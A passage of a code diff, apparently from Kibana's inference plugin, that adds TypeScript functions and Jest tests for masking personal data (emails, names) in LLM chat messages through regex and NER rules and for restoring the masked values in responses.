+ }) + ).resolves.toBeDefined(); + }); + + it('returns original messages when all rules are disabled', async () => { + const messages: Message[] = [{ role: MessageRole.User, content: 'Nothing to see here' }]; + + const result = await anonymizeMessages({ + messages, + anonymizationRules: [disabledRule], + regexWorker, + esClient: mockEsClient, + }); + + expect(result.messages).toBe(messages); // same reference + expect(result.anonymizations.length).toBe(0); + expect(mockEsClient.ml.inferTrainedModel).not.toHaveBeenCalled(); + }); + + it('maintains ordering with multiple messages', async () => { + const messages: Message[] = [ + { role: MessageRole.User, content: 'First' }, + { role: MessageRole.Assistant, content: 'Second' }, + ]; + + const result = await anonymizeMessages({ + messages, + anonymizationRules: [disabledRule], + regexWorker, + esClient: mockEsClient, + }); + + expect((result.messages[0] as UserMessage).content).toBe('First'); + expect((result.messages[1] as AssistantMessage).content).toBe('Second'); + }); + + it('handles content parts', async () => { + const messages: Message[] = [ + { + role: MessageRole.User, + content: [ + { + text: 'foo', + type: 'text', + }, + { + text: 'jorge21@gmail.com', + type: 'text', + }, + ], + }, + ]; + + const result = await anonymizeMessages({ + messages, + anonymizationRules: [regexRule], + regexWorker, + esClient: mockEsClient, + }); + + expect((result.messages[0] as UserMessage).content).toEqual([ + { + type: 'text', + text: 'foo', + }, + { + type: 'text', + text: getEntityMask({ class_name: 'EMAIL', value: 'jorge21@gmail.com' }), + }, + ]); + }); + + it('anonymizes assistant message with multiple tool calls', async () => { + const messages = [ + { + role: MessageRole.Assistant, + content: '', + toolCalls: [ + { + function: { + name: 'search', + arguments: { query: 'Find Bob in db' }, + }, + toolCallId: '1', + }, + { + function: { + name: 'lookup', + arguments: { query: 'Bob details' }, + }, + toolCallId: '2', + }, + ], + } as Omit & { + toolCalls: Array<{ + toolCallId: string; + function: { name: string; arguments: { query: string } }; + }>; + }, + ]; + + const serialized = messageToAnonymizationRecords(messages[0]); + + setupMockResponse([ + { + predicted_value: '', + entities: [ + { + entity: 'Bob', + class_name: 'PER', + class_probability: 0.99, + start_pos: serialized.data!.indexOf('Bob'), + end_pos: serialized.data!.indexOf('Bob') + 3, + }, + { + entity: 'Bob', + class_name: 'PER', + class_probability: 0.99, + start_pos: serialized.data!.lastIndexOf('Bob'), + end_pos: serialized.data!.lastIndexOf('Bob') + 3, + }, + ], + }, + ]); + + const result = await anonymizeMessages({ + messages, + regexWorker, + anonymizationRules: [nerRule], + esClient: mockEsClient, + }); + + const assistant = result.messages[0] as (typeof messages)[0]; + + assistant.toolCalls.forEach((call) => { + expect(call.function.arguments.query).not.toContain('Bob'); + }); + }); + it('anonymizes the system prompt', async () => { + const systemPrompt = ` + [ + { + "@timestamp": "2025-07-01T15:48:59.044Z", + "message": { + "role": "user", + "content": "my name is jorge" + } + } + ] + `; + + const start = systemPrompt.indexOf('jorge'); + const end = start + 'jorge'.length; + + setupMockResponse([ + { + entities: [ + { + entity: 'jorge', + class_name: 'PER', + start_pos: start, + end_pos: end, + class_probability: 0.99, + }, + ], + }, + ]); + + const result = await anonymizeMessages({ + system: systemPrompt, + messages: [], + anonymizationRules: [nerRule], + regexWorker, + esClient: mockEsClient, + }); + expect(result.system).toBe( + '\n' + + ' [\n' + + ' {\n' + + ' "@timestamp": "2025-07-01T15:48:59.044Z",\n' + + ' "message": {\n' + + ' "role": "user",\n' + + ' "content": "my name is PER_ee4587b4ba681e38996a1b716facbf375786bff7"\n' + + ' }\n' + + ' }\n' + + ' ]\n' + + ' ' + ); + }); + it('anonymizes only allowed entity classes as defined in NER rule', async () => { + const userText = 'my name is jorge and I live in los angeles'; + + const startJorge = userText.indexOf('jorge'); + const endJorge = startJorge + 'jorge'.length; + + const startLA = userText.indexOf('los angeles'); + const endLA = startLA + 'los angeles'.length; + + setupMockResponse([ + { + entities: [ + { + entity: 'jorge', + class_name: 'PER', + start_pos: startJorge, + end_pos: endJorge, + class_probability: 0.99, + }, + { + entity: 'los angeles', + class_name: 'LOC', + start_pos: startLA, + end_pos: endLA, + class_probability: 0.99, + }, + ], + }, + ]); + + const { messages: maskedMsgs } = await anonymizeMessages({ + messages: [ + { + role: MessageRole.User, + content: userText, + }, + ], + anonymizationRules: [nerRule], // nerRule allows only PER + regexWorker, + esClient: mockEsClient, + }); + + const maskedContent = (maskedMsgs[0] as UserMessage).content; + + expect(maskedContent).toBe( + 'my name is PER_ee4587b4ba681e38996a1b716facbf375786bff7 and I live in los angeles' + ); + }); +}); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_messages.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_messages.ts new file mode 100644 index 0000000000000..ab717e62c014e --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_messages.ts @@ -0,0 +1,64 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { ElasticsearchClient } from '@kbn/core/server'; +import { AnonymizationOutput, AnonymizationRule, Message } from '@kbn/inference-common'; +import { merge } from 'lodash'; +import { anonymizeRecords } from './anonymize_records'; +import { messageFromAnonymizationRecords } from './message_from_anonymization_records'; +import { messageToAnonymizationRecords } from './message_to_anonymization_records'; +import { RegexWorkerService } from './regex_worker_service'; + +export async function anonymizeMessages({ + system, + messages, + anonymizationRules, + regexWorker, + esClient, +}: { + system?: string | undefined; + messages: Message[]; + anonymizationRules: AnonymizationRule[]; + regexWorker: RegexWorkerService; + esClient: ElasticsearchClient; +}): Promise { + const rules = anonymizationRules.filter((rule) => rule.enabled); + if (!rules.length) { + return { + messages, + anonymizations: [], + }; + } + + const toAnonymize = [ + ...messages.map(messageToAnonymizationRecords), + // put system message last so we can use position-based lookups + // when iterating over `records` + ...(system ? [{ system }] : []), + ]; + + const { records, anonymizations } = await anonymizeRecords({ + input: toAnonymize, + anonymizationRules: rules, + regexWorker, + esClient, + }); + + const anonymizedMessages = messages.map((original, index) => { + const map = records[index]; + + return merge({}, original, messageFromAnonymizationRecords(map)); + }); + + const anonymizedSystem = records.find((r) => 'system' in r) as { system?: string } | undefined; + + return { + system: anonymizedSystem?.system, + messages: anonymizedMessages, + anonymizations, + }; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_records.test.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_records.test.ts new file mode 100644 index 0000000000000..42debaece5470 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_records.test.ts @@ -0,0 +1,278 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { anonymizeRecords } from './anonymize_records'; +import { AnonymizationRule } from '@kbn/inference-common'; +import { MlInferenceResponseResult } from '@elastic/elasticsearch/lib/api/types'; +import { loggerMock, type MockedLogger } from '@kbn/logging-mocks'; +import { RegexWorkerService } from './regex_worker_service'; +import { AnonymizationWorkerConfig } from '../../config'; +const mockEsClient = { + ml: { + inferTrainedModel: jest.fn(), + }, +} as any; + +const setupMockResponse = (entitiesPerDoc: MlInferenceResponseResult[]) => { + mockEsClient.ml.inferTrainedModel.mockResolvedValue({ + inference_results: entitiesPerDoc, + }); +}; +const nerRule: AnonymizationRule = { + type: 'NER', + enabled: true, + modelId: 'model-1', +}; +const nerRule2: AnonymizationRule = { + type: 'NER', + enabled: true, + modelId: 'model-2', +}; +const regexRule: AnonymizationRule = { + type: 'RegExp', + enabled: true, + entityClass: 'EMAIL', + pattern: '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}', +}; + +const testConfig = { + enabled: false, +} as AnonymizationWorkerConfig; + +describe('anonymizeRecords', () => { + let logger: MockedLogger; + + let regexWorker: RegexWorkerService; + + beforeEach(() => { + jest.resetAllMocks(); + logger = loggerMock.create(); + regexWorker = new RegexWorkerService(testConfig, logger); + }); + + it('masks values using regex rule', async () => { + const input = [{ email: 'jorge21@gmail.com' }]; + + const { records, anonymizations } = await anonymizeRecords({ + input, + anonymizationRules: [regexRule], + regexWorker, + esClient: mockEsClient, + }); + + expect(records[0].email).not.toContain('jorge21@gmail.com'); + expect(anonymizations.length).toBe(1); + }); + + it('calls inferTrainedModel with a SINGLE doc when content < MAX_TOKENS_PER_DOC', async () => { + const shortText = 'a'.repeat(500); // < 1000 chars + setupMockResponse([{ entities: [] } as any]); + + await anonymizeRecords({ + input: [{ content: shortText }], + anonymizationRules: [nerRule], + regexWorker, + esClient: mockEsClient, + }); + + expect(mockEsClient.ml.inferTrainedModel).toHaveBeenCalledTimes(1); + const firstCallArgs = mockEsClient.ml.inferTrainedModel.mock.calls[0][0]; + expect(firstCallArgs.docs).toHaveLength(1); + expect(firstCallArgs.docs[0].text_field).toBe(shortText); + }); + + it('splits text > MAX_TOKENS_PER_DOC into multiple docs', async () => { + const longText = 'b'.repeat(1500); // > 1000 chars => should be split into 2 docs (1000 + 500) + + setupMockResponse(Array(2).fill({ entities: [] } as any)); + + const { records } = await anonymizeRecords({ + input: [{ content: longText }], + anonymizationRules: [nerRule], + regexWorker, + esClient: mockEsClient, + }); + + expect(mockEsClient.ml.inferTrainedModel).toHaveBeenCalledTimes(1); + const callArgs = mockEsClient.ml.inferTrainedModel.mock.calls[0][0]; + expect(callArgs.docs).toHaveLength(2); + expect(callArgs.docs[0].text_field).toBe(longText.slice(0, 1000)); + expect(callArgs.docs[1].text_field).toBe(longText.slice(1000)); + + // reconstructed value should match original and appear only once + expect(records[0].content).toBe(longText); + expect((records[0].content.match(/b/g) ?? []).length).toBe(1500); + }); + + it('supports additional NER models of same class without duplication', async () => { + const input = [{ content: 'Bob and Alice are friends.' }]; + + // First model detects Alice only + mockEsClient.ml.inferTrainedModel.mockResolvedValueOnce({ + inference_results: [ + { + entities: [ + { + entity: 'Alice', + class_name: 'PER', + class_probability: 0.99, + start_pos: 8, + end_pos: 13, + }, + ], + }, + ], + }); + + // Second model detects Bob only + mockEsClient.ml.inferTrainedModel.mockResolvedValueOnce({ + inference_results: [ + { + entities: [ + { + entity: 'Bob', + class_name: 'PER', + class_probability: 0.97, + start_pos: 0, + end_pos: 3, + }, + ], + }, + ], + }); + + const { records, anonymizations } = await anonymizeRecords({ + input, + anonymizationRules: [nerRule, nerRule2], + regexWorker, + esClient: mockEsClient, + }); + + const outputStr = JSON.stringify(records); + expect(outputStr).not.toContain('Alice'); + expect(outputStr).not.toContain('Bob'); + + const names = anonymizations.map((a) => a.entity.value).sort(); + expect(names).toEqual(['Alice', 'Bob']); + expect(mockEsClient.ml.inferTrainedModel).toHaveBeenCalledTimes(2); + }); + + it('should anonymize records using a regex rule', async () => { + const input = [ + { + email: 'jorge21@gmail.com', + }, + ]; + + const result = await anonymizeRecords({ + input, + anonymizationRules: [regexRule], + regexWorker, + esClient: mockEsClient, + }); + + expect(result.records[0].email).not.toContain('jorge21@gmail.com'); + expect(result.anonymizations.length).toBe(1); + expect(result.anonymizations[0].entity.value).toBe('jorge21@gmail.com'); + }); + + it('should anonymize records using a NER rule', async () => { + const input = [ + { + content: 'My name is Alice.', + }, + ]; + + const content = input[0].content; + + setupMockResponse([ + { + entities: [ + { + entity: 'Alice', + class_name: 'PER', + class_probability: 0.99, + start_pos: content.indexOf('Alice'), + end_pos: content.indexOf('Alice') + 'Alice'.length, + }, + ], + } as any, + ]); + + const result = await anonymizeRecords({ + input, + anonymizationRules: [nerRule], + regexWorker, + esClient: mockEsClient, + }); + + expect(result.records[0].content).not.toContain('Alice'); + expect(result.anonymizations.length).toBe(1); + expect(result.anonymizations[0].entity.value).toBe('Alice'); + }); + + it('allows subsequent NER models to add additional entities of the same class', async () => { + const input = [ + { + content: 'Bob and Alice are friends.', + }, + ]; + + // First NER model only detects "Alice" + mockEsClient.ml.inferTrainedModel.mockResolvedValueOnce({ + inference_results: [ + { + entities: [ + { + entity: 'Alice', + class_name: 'PER', + class_probability: 0.99, + start_pos: 8, + end_pos: 13, + }, + ], + }, + ], + }); + + // Second NER model (same class) detects an additional entity, "Bob" + mockEsClient.ml.inferTrainedModel.mockResolvedValueOnce({ + inference_results: [ + { + entities: [ + { + entity: 'Bob', + class_name: 'PER', + class_probability: 0.97, + start_pos: 0, + end_pos: 3, + }, + ], + }, + ], + }); + + const result = await anonymizeRecords({ + input, + anonymizationRules: [nerRule, nerRule2], + regexWorker, + esClient: mockEsClient, + }); + + // Ensure that neither original name remains in the output + expect(JSON.stringify(result.records)).not.toContain('Alice'); + expect(JSON.stringify(result.records)).not.toContain('Bob'); + + // Ensure both entities are recorded in the anonymizations array + expect(result.anonymizations.length).toBe(2); + const names = result.anonymizations.map((a) => a.entity.value).sort(); + expect(names).toEqual(['Alice', 'Bob']); + + // Both models should have been invoked exactly once + expect(mockEsClient.ml.inferTrainedModel).toHaveBeenCalledTimes(2); + }); +}); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_records.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_records.ts new file mode 100644 index 0000000000000..cb302c739d172 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/anonymize_records.ts @@ -0,0 +1,70 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { ElasticsearchClient } from '@kbn/core/server'; +import { AnonymizationRule, RegexAnonymizationRule } from '@kbn/inference-common'; +import { partition } from 'lodash'; +import { AnonymizationState } from './types'; +import { executeRegexRule } from './execute_regex_rule'; +import { executeNerRule } from './execute_ner_rule'; +import { RegexWorkerService } from './regex_worker_service'; + +export async function anonymizeRecords>({ + input, + anonymizationRules, + regexWorker, + esClient, +}: { + input: T[]; + anonymizationRules: AnonymizationRule[]; + regexWorker: RegexWorkerService; + esClient: ElasticsearchClient; +}): Promise; + +export async function anonymizeRecords({ + input, + anonymizationRules, + regexWorker, + esClient, +}: { + input: Array>; + anonymizationRules: AnonymizationRule[]; + regexWorker: RegexWorkerService; + esClient: ElasticsearchClient; +}): Promise { + let state: AnonymizationState = { + records: input.concat(), + anonymizations: [], + }; + + const [regexRules, nerRules] = partition( + anonymizationRules, + (rule): rule is RegexAnonymizationRule => rule.type === 'RegExp' + ); + + for (const rule of regexRules) { + state = await executeRegexRule({ + rule, + state, + regexWorker, + }); + } + + if (!nerRules.length) { + return state; + } + + for (const nerRule of nerRules) { + state = await executeNerRule({ + state, + rule: nerRule, + esClient, + }); + } + + return state; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/deanonymize.test.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/deanonymize.test.ts new file mode 100644 index 0000000000000..8af312a7a98fd --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/deanonymize.test.ts @@ -0,0 +1,89 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { deanonymize } from './deanonymize'; +import { + Anonymization, + AssistantMessage, + Message, + MessageRole, + UserMessage, +} from '@kbn/inference-common'; + +function createMask(entityClass: string, value: string) { + return `${entityClass}_${Buffer.from(value).toString('hex').slice(0, 40)}`; +} + +describe('deanonymize', () => { + const value = 'jorge@gmail.com'; + const mask = createMask('EMAIL', value); + + const anonymization: Anonymization = { + entity: { + class_name: 'EMAIL', + value, + mask, + }, + rule: { + type: 'RegExp', + }, + }; + + it('restores plain user message content and returns correct positions', () => { + const message: UserMessage = { + role: MessageRole.User, + content: `My email is ${mask}.`, + }; + + const { message: deanonymized, deanonymizations } = deanonymize(message, [anonymization]); + + expect((deanonymized as UserMessage).content).toBe(`My email is ${value}.`); + + const startIndex = `My email is `.length; + expect(deanonymizations).toEqual([ + { + start: startIndex, + end: startIndex + mask.length, + entity: anonymization.entity, + }, + ]); + }); + + it('restores assistant message tool call arguments as well as content', () => { + const toolMask = mask; + const assistantMsg: AssistantMessage = { + role: MessageRole.Assistant, + content: `Your email is ${toolMask}`, + toolCalls: [ + { + function: { + name: 'sendEmail', + arguments: { to: toolMask }, + }, + toolCallId: '1', + }, + ], + }; + + const { message: deanonymized } = deanonymize(assistantMsg, [anonymization]); + + expect(deanonymized.content).toContain(value); + const args = ( + deanonymized as AssistantMessage & { + toolCalls: [{ function: { arguments: { to: string } } }]; + } + ).toolCalls?.[0].function.arguments; + expect(args.to).toBe(value); + }); + + it('handles no anonymizations gracefully (returns identical message)', () => { + const msg: Message = { role: MessageRole.User, content: 'Nothing to change' } as any; + const { message: result, deanonymizations } = deanonymize(msg, []); + expect(result).toStrictEqual(msg); + expect(deanonymizations.length).toBe(0); + }); +}); diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/deanonymize.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/deanonymize.ts new file mode 100644 index 0000000000000..1bd6aa8a18d8a --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/deanonymize.ts @@ -0,0 +1,79 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { Message, Deanonymization, Anonymization } from '@kbn/inference-common'; +import { isEmpty } from 'lodash'; +import { getAnonymizableMessageParts } from './get_anonymizable_message_parts'; + +export function deanonymize( + message: TMessage, + anonymizations: Anonymization[] +): { message: TMessage; deanonymizations: Deanonymization[] } { + // reverse order of anonymizations when unmasking, this ensures + // doubly masked parts are unmasked appropriately. e.g.: + // a => b => c should be unmasked as c => b => a. if you start + // with a, you won't find a match, only c will be unmasked to b. + const reversedAnonymizations = anonymizations.concat().reverse(); + + function replace(content: string) { + let next = content; + const deanonymizations: Deanonymization[] = []; + + reversedAnonymizations.forEach(({ entity }) => { + let index = next.indexOf(entity.mask); + + let offset = 0; + + while (index !== -1) { + const start = index + offset; + const end = start + entity.mask.length; + + deanonymizations.push({ start, end, entity }); + + next = next.slice(0, start) + entity.value + next.slice(start + entity.mask.length); + + index = next.indexOf(entity.mask, end); + + offset += entity.value.length; + } + }); + + return { + deanonymizations, + output: next, + }; + } + + const anonymized = getAnonymizableMessageParts(message); + + if (anonymized.content && typeof anonymized.content === 'string') { + const { content, ...rest } = anonymized; + + const contentDeanonymization = replace(anonymized.content); + + const unredaction = !isEmpty(rest) ? replace(JSON.stringify(rest)) : undefined; + + return { + message: { + ...message, + ...(unredaction ? (JSON.parse(unredaction.output) as typeof anonymized) : {}), + content: contentDeanonymization.output, + }, + deanonymizations: contentDeanonymization.deanonymizations, + }; + } + + const unredaction = replace(JSON.stringify(anonymized)); + + return { + message: { + ...message, + ...(JSON.parse(unredaction.output) as typeof anonymized), + }, + deanonymizations: [], + }; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/deanonymize_message.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/deanonymize_message.ts new file mode 100644 index 0000000000000..379cf05307b62 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/deanonymize_message.ts @@ -0,0 +1,96 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { + Message, + ChatCompletionEvent, + MessageRole, + AnonymizationOutput, +} from '@kbn/inference-common'; +import { + ChatCompletionEventType, + ChatCompletionChunkEvent, +} from '@kbn/inference-common/src/chat_complete/events'; +import { OperatorFunction, mergeMap, filter, of, identity } from 'rxjs'; +import { deanonymize } from './deanonymize'; + +export function deanonymizeMessage( + anonymization: AnonymizationOutput +): OperatorFunction { + if (!anonymization.anonymizations.length) { + return identity; + } + + return (source$) => { + return source$.pipe( + // Filter out original chunk events (we recreate a single deanonymized chunk later) + filter((event) => event.type !== ChatCompletionEventType.ChatCompletionChunk), + // Process message events and create a new chunk plus the message + mergeMap((event) => { + if (event.type === ChatCompletionEventType.ChatCompletionMessage) { + // Create assistant message structure for deanonymization + const message = { + content: event.content, + toolCalls: event.toolCalls, + role: MessageRole.Assistant, + } satisfies Message; + + const { + message: { content, toolCalls }, + deanonymizations, + } = deanonymize(message, anonymization.anonymizations); + + // Create deanonymized input messages metadata + const deanonymizedInput = anonymization.messages.map((msg) => { + const deanonymization = deanonymize(msg, anonymization.anonymizations); + return { + message: deanonymization.message, + deanonymizations: deanonymization.deanonymizations, + }; + }); + + // Create deanonymized output metadata + const deanonymizedOutput = { + message, + deanonymizations, + }; + + // Create a new chunk with the complete deanonymized content + const completeChunk: ChatCompletionChunkEvent = { + type: ChatCompletionEventType.ChatCompletionChunk, + content, + tool_calls: toolCalls.map((tc, idx) => ({ + index: idx, + toolCallId: tc.toolCallId, + function: { + name: tc.function.name, + arguments: JSON.stringify(tc.function.arguments) || '', + }, + })), + deanonymized_input: deanonymizedInput, + deanonymized_output: deanonymizedOutput, + }; + + // Create deanonymized message event + const deanonymizedMsg = { + ...event, + content, + toolCalls, + deanonymized_input: deanonymizedInput, + deanonymized_output: deanonymizedOutput, + }; + + // Emit new chunk first, then message + return of(completeChunk, deanonymizedMsg); + } + + // Pass through other events unchanged + return of(event); + }) + ); + }; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/execute_ner_rule.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/execute_ner_rule.ts new file mode 100644 index 0000000000000..0f38102202ccd --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/execute_ner_rule.ts @@ -0,0 +1,148 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { Anonymization, NamedEntityRecognitionRule } from '@kbn/inference-common'; +import { ElasticsearchClient } from '@kbn/core/server'; +import { chunk, mapValues } from 'lodash'; +import pLimit from 'p-limit'; +import { withInferenceSpan } from '@kbn/inference-tracing'; +import { AnonymizationState } from './types'; +import { getEntityMask } from './get_entity_mask'; + +const MAX_TOKENS_PER_DOC = 1_000; + +function chunkText(text: string, maxChars = MAX_TOKENS_PER_DOC): string[] { + const chunks: string[] = []; + for (let i = 0; i < text.length; i += maxChars) { + chunks.push(text.slice(i, i + maxChars)); + } + return chunks; +} + +const DEFAULT_BATCH_SIZE = 1_000; +const DEFAULT_MAX_CONCURRENT_REQUESTS = 5; + +/** + * Executes a NER anonymization rule, by: + * + * - For each record, iterate over the key-value pairs. + * - Split up each value in strings < MAX_TOKENS_PER_DOC, to stay within token limits + * for NER tasks. + * - Push each part to an array of strings, track the position in the array, so we can + * reconstruct the records later. + * - Create a {text_field:string} document for each part, and run NER inference over + * these documents in batches. + * - After retrieving the results: + * - Iterate over the _input_ and find the inferred results by key + position + * - For each detected entity, replace with a mask + * - Append the original value & masked value to `state.anonymizations` + * - Return the text with the masked values + * - Reconstruct the original record + */ +export async function executeNerRule({ + state, + rule, + esClient, +}: { + state: AnonymizationState; + rule: NamedEntityRecognitionRule; + esClient: ElasticsearchClient; +}): Promise { + const anonymizations: Anonymization[] = state.anonymizations.concat(); + + const allowedNerEntities = rule.allowedEntityClasses; + + const limiter = pLimit(DEFAULT_MAX_CONCURRENT_REQUESTS); + + const allTexts: string[] = []; + const allPositions: Array> = []; + + state.records.forEach((record) => { + const positionsForRecord: Record = {}; + allPositions.push(positionsForRecord); + Object.entries(record).forEach(([key, value]) => { + const positions: number[] = []; + positionsForRecord[key] = positions; + const texts = chunkText(value); + texts.forEach((text) => { + const idx = allTexts.length; + positions.push(idx); + allTexts.push(text); + }); + }); + }); + + const batched = chunk(allTexts, DEFAULT_BATCH_SIZE); + + const results = ( + await Promise.all( + batched.map(async (batch) => { + return await limiter(() => + withInferenceSpan('infer_ner', async (span) => { + try { + const response = await esClient.ml.inferTrainedModel({ + model_id: rule.modelId, + docs: batch.map((text) => ({ text_field: text })), + }); + + return response.inference_results; + } catch (error) { + throw new Error(`Inference failed for NER model '${rule.modelId}'`, { + cause: error, + }); + } + }) + ); + }) + ) + ).flat(); + + const nextRecords = state.records.map((record, idx) => { + const nerInput = allPositions[idx]; + + return mapValues(record, (value, key) => { + const positions = nerInput[key]; + return positions + .map((position) => { + const nerOutput = results[position]; + + let offset = 0; + + let anonymizedValue = allTexts[position]; + + for (const entity of (nerOutput.entities ?? []).filter((e) => + allowedNerEntities ? allowedNerEntities.includes(e.class_name as any) : true + )) { + const from = entity.start_pos + offset; + const to = entity.end_pos + offset; + + const before = anonymizedValue.slice(0, from); + const after = anonymizedValue.slice(to); + + const entityText = anonymizedValue.slice(from, to); + + const mask = getEntityMask({ class_name: entity.class_name, value: entityText }); + + anonymizedValue = before + mask + after; + offset += mask.length - entityText.length; + anonymizations.push({ + entity: { class_name: entity.class_name, value: entityText, mask }, + rule, + }); + } + + return anonymizedValue; + }) + .join(''); + }); + }); + + return { + records: nextRecords, + anonymizations, + }; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/execute_regex_rule.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/execute_regex_rule.ts new file mode 100644 index 0000000000000..1290af98cdf0c --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/execute_regex_rule.ts @@ -0,0 +1,30 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { RegexAnonymizationRule } from '@kbn/inference-common'; +import { AnonymizationState } from './types'; +import { RegexWorkerService } from './regex_worker_service'; + +/** + * Executes a regex anonymization rule, by iterating over the matches, + * and replacing each occurrence with a masked value. + */ +export async function executeRegexRule({ + state, + rule, + regexWorker, +}: { + state: AnonymizationState; + rule: RegexAnonymizationRule; + regexWorker: RegexWorkerService; +}): Promise { + const { records, anonymizations } = await regexWorker.run({ + rule, + records: state.records, + }); + return { records, anonymizations: state.anonymizations.concat(anonymizations) }; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/execute_regex_rule_task.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/execute_regex_rule_task.ts new file mode 100644 index 0000000000000..12e1a473b5b14 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/execute_regex_rule_task.ts @@ -0,0 +1,40 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { RegexAnonymizationRule } from '@kbn/inference-common'; +import { Anonymization } from '@kbn/inference-common'; +import { getEntityMask } from './get_entity_mask'; +import { AnonymizationState } from './types'; + +export function executeRegexRuleTask({ + rule, + records, +}: { + rule: RegexAnonymizationRule; + records: Array>; +}): AnonymizationState { + const regex = new RegExp(rule.pattern, 'g'); + const anonymizations: Anonymization[] = []; + const nextRecords = records.map((record: Record) => { + const newRecord: Record = {}; + for (const [key, value] of Object.entries(record)) { + newRecord[key] = value.replace(regex, (match) => { + const mask = getEntityMask({ value: match, class_name: rule.entityClass }); + + anonymizations.push({ + entity: { value: match, class_name: rule.entityClass, mask }, + rule: { type: rule.type }, + }); + + return mask; + }); + } + return newRecord; + }); + + return { records: nextRecords, anonymizations }; +} diff --git a/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/get_anonymizable_message_parts.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/get_anonymizable_message_parts.ts new file mode 100644 index 0000000000000..d07f1d52b2286 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/get_anonymizable_message_parts.ts @@ -0,0 +1,38 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { Message, MessageRole } from '@kbn/inference-common'; + +/** + * getAnonymizableMessageParts returns just the data of a + * message that needs to be anonymized. This prevents us + * from anonymizing things that should not be anonymized + * because of technical dependencies, like `role` or + * `toolCallId`. + */ +export function getAnonymizableMessageParts(message: Message) { + if (message.role === MessageRole.Tool) { + return { + response: message.response, + }; + } + + if (message.role === MessageRole.Assistant) { + return { + content: message.content, + toolCalls: message.toolCalls?.map((toolCall) => { + return { + function: toolCall.function, + }; + }), + }; + } + + return { + content: message.content, + }; +} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/get_entity_hash.ts b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/get_entity_mask.ts similarity index 54% rename from x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/get_entity_hash.ts rename to x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/get_entity_mask.ts index 617cb457ea6dd..0fda6112454ac 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/get_entity_hash.ts +++ b/x-pack/platform/plugins/shared/inference/server/chat_complete/anonymization/get_entity_mask.ts @@ -4,12 +4,13 @@ * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ + import objectHash from 'object-hash'; -export function getEntityHash( - 